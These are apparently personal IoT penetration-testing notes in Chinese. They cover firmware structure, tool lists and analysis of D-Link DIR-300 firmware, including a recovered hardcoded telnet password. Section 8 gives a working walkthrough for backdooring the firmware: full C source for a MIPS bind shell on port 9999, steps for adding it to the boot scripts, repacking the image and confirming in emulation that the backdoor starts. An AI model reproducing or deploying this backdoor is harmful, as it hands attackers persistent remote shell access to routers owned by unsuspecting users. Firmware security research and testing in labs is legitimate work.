# 物聯網滲透測試
## 1. 滲透測試方法
- 黑箱測試:
- 黑箱測試是指研究員在不了解設備採用的技術原理或實踐方式下進行的測試,通常研究人員或第三方顧問公司都會使用黑箱測試來評估風險。
- 白箱測試:
- 測試人員能夠直接接觸程式碼、架構圖數據資料或其他設備的詳細說明,進行的測試,預先像測試人員提供測試的資料越多測試效果會越好,但白箱測試的成本相對高,但能確保對設備的安全保護措施及現況進行更全面的稽查。
- 灰箱測試:
- 測試人員對被檢測系統的了解有限,僅能得得到設備部分資訊,在此展開的測試即稱為灰箱測試。
## 2. 韌體介紹
韌體是一種寫入硬體設備的軟體,用途為各項系統的功能控制。韌體中包含底層程式碼,這些程式碼能夠幫助軟體實現對硬體的操作,運行韌體的設備稱為嵌入式系統,如:智慧手機、物聯網汽車、無人機都是具有韌體的嵌入式設備。
而理解韌體內的二進制檔包含哪些內容是非常重要的。韌體通常由bootloader、Kernel、filesystem與其他資源組成,但韌體也有許多種類型如:嵌入式 Windows 、 Windows IOT 、各種即時操作系統(RTOS),本篇主要以嵌入式Linux做維環境介紹。
**Bootloader:**
開機時最先啟動的程式
Bootloder 的作用主要為RAM初始化(目的是儲存易失性數據)、接口初始化、機器類型檢測、kernel 參數鏈結表設置(Kernel tagged list)、initramfs加載和kernel鏡像調用。
Bootloader 透過開發板支援套裝軟體(Board Support Package,BSP)初始化硬體驅動,其中開發板支援套裝軟體通常由第三方廠商開發。可以將bootloader 存儲在單獨的電子抹除式可複寫唯讀記憶體(Electrically Erasable Programmable Read-Only Memory,EEPROM)中,但這種情況一般不太常見,更為常見的形式是直接將bootloader 寫入閃存存儲器。從某種程度上說,我們可以將 bootloader 看作啟動 PC 時的 BIOS。 ARM、MIPS 架構中部分常見的 bootloader 包括:Redboot、u-boot 以及 barebox 等。當 bootloader 啟動Kernel之後,檔案系統就加載完成。
韌體採用的檔案系統類型有很多,根據設備的區別也會採用某些專有檔案類型。部分較為常見的檔案系統類型包括 SquashFS、cramFS、JFFS2、YAFFS2 以及 ext2 等。其中最常採用的檔案系統是 SquashFS。分析人員可以使用諸如 unsquashfs 或者改進後的 unsquashfs 等工具從 SquashFS 檔案系統中提取資料。
有部分廠商會對SquashFS 檔案系統進行改進,以確保能夠對非標準的SquashFS 檔案系統壓縮算法提供支持,比如說LZMA 壓縮算法(在SquashFS 4.0 之前,官方支持的唯一壓縮格式為.zlib),而此時就需要用到改進後的unsquashfs 工具進行解壓,同常規的標準SquashFS 檔案系統相比,非標準的SquashFS 檔案系統啟動時的偏移量同之前會有所區別。
## 3. IoT中的 WEB運用
目前 IoT 領域中主要有兩種不同的 Web 應用模型,分別是混合雲模型與獨立嵌入式服務器模型。
混合雲模型中包含了廠商或者供應商提供的基於軟體即服務(Software as a Service,SaaS) 的Web 應用,作用是同運行在嵌入式設備韌體中的Web 應用程序建立連接,然後將數據從廠商的雲端服務器中同步到本地網路的嵌入式設備中。有些 IoT 設備則會直接使用 IoT 雲端服務提供商的 SDK(軟體開發工具包),例如 AWS 提供的 IoT SDK 和 Azure 提供的 IoT SDK,並且將這些 SDK 編譯進設備的 Web 應用程序中。為了確保符合機構的服務條款並且遵循所在區域的法律規範,混合雲模型的識別非常重要。許多採用混合雲模型的 IoT 公司經常以 OEM 的方式借助第三方軟件開發公司或 ODM 來管理其 Web 應用。這些 ODM 的 Web 應用通常被貼牌為某款 OEM 產品,在沒有設置通信流量代理的情況下,用戶通常不會注意到這種情況。
## 4. IoT滲透測試環境的部屬
軟體工具主要包括韌體、Web 以及mobile測試工具。對於這三種類型的測試工具而言,除了用於 Web 測試的 Burp Suite 之外,大多數測試工具都是免費的。為了方便應用,建議最好提前部署好虛擬環境,並將韌體分析、Web 應用測試、移動應用測試(測試內容有限)以及無線電分析過程需要用到的大多數工具安裝好。本節中,我們將所有可能用到的工具進行了匯總。
==**韌體分析工具**==
- Binwalk
- Firmadyne
- Firmwalker
- Angr
- firmware-mod-toolkit
- Firmware Analysis Toolkit
- GDB
- Radare2
- Binary Analysis Tool(BAT)
- Qemu
- IDA Pro
- AttifyOS:包含多個IOT分析的工具 https://github.com/adi0x90/attifyos
https://drive.google.com/drive/folders/1C5BKrpoCtxqZODbF0A-tt0UNjx-UmKt3
==**Web應用滲透測試工具**==
- Burp Suite
- OWASP Zed Attack Proxy(ZAP)
- REST Easy Firefox Plugin
- Postman Chrome Extension
==**手機滲透工具**==
1. Android
Android 渗透測試虛擬機:Android SDK、Android Emulator
- Enjarify
- JD-Gui
- Mob-SF
- SQLite Browser
- Burp Suite
- OWASP ZAP
2. IOS
由於 iOS 平台比較特殊,因此在開始滲透測試前需要準備好 OS X 電腦和越獄的蘋果設備。如果不滿足這兩個前提條件,那麼是無法對 iOS 應用開展滲透測試的。下面是對 iOS 應用進行滲透測試時用到的部分工具。
- idb
- Xcode Tools
- Class-Dump
- Hopper
- Mob-SF
- SQLite Browser
- Burp Suite
- OWASP ZAP
下面列出的是為滲透測試需要安裝在越獄設備上的軟體:
- Cydia
- openURL
- dumpdecrypted
- ipainstaller
- SSL Kill Switch 2
- Clutch2
- Cycript
## 5.無線電分析工具
為了掃描無線網絡流量,需要準備特定的無線芯片組
1. 無線電分析硬體
下面列出了用於分析無線電頻譜的硬體設備:
- Atmel RZ Raven USB 設備(KillerBee 攻擊框架)
- Attify Badge1(或者 C232HM-DDHSL-0 和 Adafruit FTDI Breakout 開發板的搭配)
- HackRF One
- Yardstick One
- 帶有 Xbee Shield 模塊的 XBee 擴展板
- Ubertooth
- BLe 適配器
2. 無線電分析軟體
下面列出了常用的無線電分析軟體工具
- KillerBee 框架
- Attify ZigBee 框架
- GNU Radio
- BLEAH
- GQRX
- Ubertooth tools
- Blue Hydra
- RTL-sdr
- Hackrf packages
- EZ-Wave
## 6. 韌體分析方法
韌體是控制IoT設備的核心,也是我們在分析IoT設備的其他組件前,希望從韌體分析開始的原因。
根據IoT產業所面向的行業,提取韌體映像檔並且對其內容進行反編譯得過程可能非常簡單。與之類似,對於某些行業的垂直細分領域而言,期採取了專用保護措施。
而這些保護措施會使逆向分析過程更困難或更加耗時。儘管如此,韌體分析還是有一些通用模式,通常研究人員在分析韌體時最常關注的主要內容包括:
1. API Token
2. API Endpoint(URL)
3. 存在漏洞服務
4. 後門帳戶
5. 配置文件
6. 原始碼
7. 私鑰
8. 數據的儲存方式
---
### 工具說明
[Firmwalker](https://github.com/craigz28/firmwalker):搜索整個韌體根目錄檔找到敏感資訊,如:密碼、telnet服務等
**用法**
> ./firmwalker.sh {path to root file system} {path for firmwalker.txt}
第一個參數為目標韌體(root)根目錄,第二個參數為產生 firmwalker.txt檔的目錄(預設為當前目錄)
目標韌體:DIR-300(dir300_v1.05_8c5e.bin)
> 例如: ./firmwalker.sh /home/doggy/Desktop/firmware/dlink/DIR-300/_dir300_v1.05_8c5e.bin.extracted/squashfs-root

列出有admin、root等的資訊
同時也發現有telnet 服務開啟,可以跟著這些檔案下去追宗

cat etc/scripts/system.sh 後

可以看到在這行啟動了telnet 服務並呼叫telnetd[.]sh,我們持續往下追蹤
這個檔案可看見

telnetd -u 代表接username以及password
因此在後面的 Alphanetworks即為user
password 則是去抓 變數$image_sign
因此直接複製路徑cat 出來即可

密碼為:wrgg19_c_dlwbr_dir300
> 為甚麼 telentd後面就是接 username 和 password?
> 直接cat telnetd (通常放在 usr/sbin/telnetd)
>
可以看到出現這行

- 補充 grep 篩選檔關鍵詞
> grep -inr 'telnet' 讀取整個目錄下有包含telnet內容的文件

---
[John the ripper](https://www.openwall.com/john/)
用於爆破密碼檔 如/etc/passwd 和 /etc/passwd.bak
> 用法: john ./etc/passwd.bak --show
* 補充:
RIPS
php 原始碼檢測工具
---
## 8. 韌體添加後門
說明:
在此步驟透過emulator 將韌體成功模擬 並且需要經過firmware mod kit 能夠打包回去才能完成我們的後門,先測試原始韌體是否能夠透過emulator模擬
**1. firmware mod kit 拆解**
測試流程:在本例中我們使用 D-Link DIR-300 router 韌體。在這裡我們使用 FMK 目錄下的 extract-firmware.sh 腳本從韌體中提取檔案系統,而不使用 Binwalk。
>提取 ./extract-firmware.sh firmware/dir300_v1.05_8c5e.bin
>打包 ./build_firmware.sh working_directory/
**2. binwally 比較差異**
可以用 [binwally](https://github.com/bmaia/binwally) 這套工具來比較兩個韌體差異,目前github上為python2版本,測試過程pip2安裝ssdeep會error,需手動改成python3
> python3 binwally.py [firmware_directory1/] [firmware_directory2/]

**3. firmadyne 模擬**
> ./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "firmware/dir300_v1.05_8c5e.bin" images
>

此時會在 image 資料夾看見 1.tar.gz (後續的參數會跟這個1做修改),解壓縮後修改/etc/shadow ,替換 root 密碼成自己的密碼(或直接拷貝自己設備一份)
辨別 firmware 1的架構並且將結果儲存至 image table
> ./scripts/getArch.sh ./images/1.tar.gz
將firmware 1 檔案系統的內容複製到DB,並記錄在object 和 object_to_image table
> ./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
建立QEMU 映像檔給 firmware 1
> sudo ./scripts/makeImage.sh 1
嘗試建立網路配置 並將Kernel 的message記錄到 ./scratch/1/qemu.initial.serial.log
> ./scripts/inferNetwork.sh 1
啟動emulate
> ./scratch/1/run.sh
畫面

busybox 成功被啟動

**4. 構造後門**
用 binwalk 看

1. LZMA壓縮
2. Squashfs 檔案系統 big endian
[bindshell github](https://github.com/OsandaMalith)
```=C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
Analyzing and Exploiting Firmware
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
```
用 cross complier 編譯成 mips 架構


先用 qemu 來測試這個bindshell

**5. 放置後門**
開機時要啟動服務的腳本會放在 etc/init.d 的目錄下
而 rcS檔案是linux的執行時配置檔案中最重要的一個,其他的一些配置都是由這個檔案引出來的
/etc/init.d/rcS 完成各個檔案系統的 mount,再執行/usr/etc/rc.local;通過rcS 可以呼叫 dhcp 程式配置網路。rcS 執行完了以後,init 就會在一個 console 上
因此可以把後門放在這個檔案內讓系統啟動時直接開啟我們的bindshell
> Dlink300 中的rcS檔

在這部分修改rcS修改成以下
> /usr/bin/bindshell &
>

接著把bindshell複製到 /usr/bin 下
> sudo cp /home/doggy/Desktop/test/bindshell .

最後回到fmk目錄下把韌體打包回去
> ./build-firmware.sh fmk/ -nopad -min

也可以透過binwally驗證添加後門韌體和原始韌體是否有存在差異

**6. 驗證與修改**
再次回到 fimradyne中去模擬起來
> ./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "firmware/new-firmware.bin" images

在這個階段firmadyne一直無法將網站功能畫面模擬起來,同時nmap也掃不到我們的bindshell
因此改使用FirmAE來進行模擬
在FirmAE模擬過後成功出現網站畫面

但在後門部分能無法成功執行
思考可能出在以下兩點問題
1. 載入rcS檔時未能成功執行到 /bin/bindshell
2. binshell執行錯誤但訊息被掩蓋

直接啟動debug 模式來找到問題
連進去shell裡面

可清楚看見整個檔案目錄配置,先測試binshell是否能在該架構下成功執行

此時的nmap 已經能成功掃到 9999 port

netcat連接上去也成功執行bindshell 因此將不能執行的問題排除

修改放置後門的位置
在 /etc/templates目錄下放入後門,然後在/etc/scriptssystem.sh中去呼叫

再次重複上面所有相同的事情,修改、打包、模擬:
最終看到後門被啟動!!

**7. 結論**
---
## 9.其他補充
* 補充: firmadyne 使用 Postgresql 保存image 還有路徑檔的紀錄此在創建映像檔時若有重複的話會錯,因此最好重複模擬同個韌體時手動刪除舊的紀錄
firmadyne在 build 時有個firmware DB,若想清除 firmdyne 中的歷史資料可直接進入清除

> postgresql 中 \l 列出所有DB

> \c [DB_name] 連接到該目標資料庫
> \dt 則列出所有tables
檢查一下發現所有table 都有 F.K 建立關聯,因此sql拒絕單獨刪除
> 因此用 truncate 一起刪除
> TRUNCATE TABLE image,object_to_image,brand,product;

###### tags: `IOT`